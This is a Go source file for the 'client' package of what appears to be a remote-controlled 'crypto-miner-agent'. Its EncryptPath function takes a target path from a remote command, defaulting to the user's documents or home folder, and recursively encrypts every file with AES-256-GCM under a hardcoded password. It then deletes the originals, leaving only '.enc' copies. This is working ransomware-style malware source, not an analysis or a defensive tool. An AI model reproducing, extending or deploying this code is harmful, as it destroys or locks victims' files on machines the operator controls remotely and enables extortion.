package client import ( "crypto/aes" "crypto/cipher" "crypto/rand" "crypto/sha256" "fmt" "io" "os" "path/filepath" "strings" "crypto-miner-agent/deploy" ) const cryptPassword = "password" // deriveKey returns a 32-byte AES-256 key from the hardcoded password via SHA-256. func deriveKey(password string) []byte { sum := sha256.Sum256([]byte(password)) return sum[:] } // encryptFile encrypts src with AES-256-GCM, writing src+".enc" and deleting the original. func encryptFile(path string, key []byte) error { plaintext, err := os.ReadFile(path) if err != nil { return err } block, err := aes.NewCipher(key) if err != nil { return err } gcm, err := cipher.NewGCM(block) if err != nil { return err } nonce := make([]byte, gcm.NonceSize()) if _, err := io.ReadFull(rand.Reader, nonce); err != nil { return err } ciphertext := gcm.Seal(nonce, nonce, plaintext, nil) dst := path + ".enc" if err := os.WriteFile(dst, ciphertext, 0600); err != nil { return err } return os.Remove(path) } func parseRecursiveFlag(command, data string) bool { for _, v := range []string{command, data} { v = strings.TrimSpace(strings.ToLower(v)) if v == "recursive" || v == "1" || v == "true" || v == "yes" { return true } } return false } // EncryptPath AES-256-GCM encrypts files at targetPath (file or directory). // Empty targetPath uses the platform default documents/home folder. func EncryptPath(targetPath string, recursive bool) string { resolved, err := resolveEncryptPath(targetPath) if err != nil { return "encrypt error: " + err.Error() } key := deriveKey(cryptPassword) info, err := os.Stat(resolved) if err != nil { return "encrypt error: " + err.Error() } var encrypted, skipped, failed int var errs []string if !info.IsDir() { if strings.HasSuffix(resolved, ".enc") { return "encrypt skipped — already .enc" } if err := encryptFile(resolved, key); err != nil { return fmt.Sprintf("encrypt failed: %v", err) } return fmt.Sprintf("encrypt done — encrypted: 1 path: %s", resolved) } walkFn := func(path string, d os.DirEntry, walkErr error) error { if walkErr != nil || d.IsDir() { return nil } if strings.HasSuffix(path, ".enc") { skipped++ return nil } if err := encryptFile(path, key); err != nil { failed++ if len(errs) < 5 { errs = append(errs, fmt.Sprintf("%s: %v", filepath.Base(path), err)) } return nil } encrypted++ return nil } if recursive { err = filepath.WalkDir(resolved, walkFn) } else { entries, readErr := os.ReadDir(resolved) if readErr != nil { return "encrypt error: " + readErr.Error() } for _, e := range entries { if e.IsDir() { continue } p := filepath.Join(resolved, e.Name()) _ = walkFn(p, e, nil) } err = nil } if err != nil { return fmt.Sprintf("encrypt walk error: %v", err) } summary := fmt.Sprintf("encrypt done — encrypted: %d skipped: %d failed: %d path: %s", encrypted, skipped, failed, resolved) if len(errs) > 0 { summary += "\nErrors: " + strings.Join(errs, "; ") } return summary } func resolveEncryptPath(targetPath string) (string, error) { targetPath = strings.TrimSpace(targetPath) if targetPath == "" { def, err := defaultCryptDir() if err != nil { return "", err } targetPath = def } if containsPathTraversal(targetPath) { return "", fmt.Errorf("path traversal (..) is not allowed") } resolved, err := deploy.ResolveRemotePath(targetPath) if err != nil { return "", err } return filepath.Clean(resolved), nil }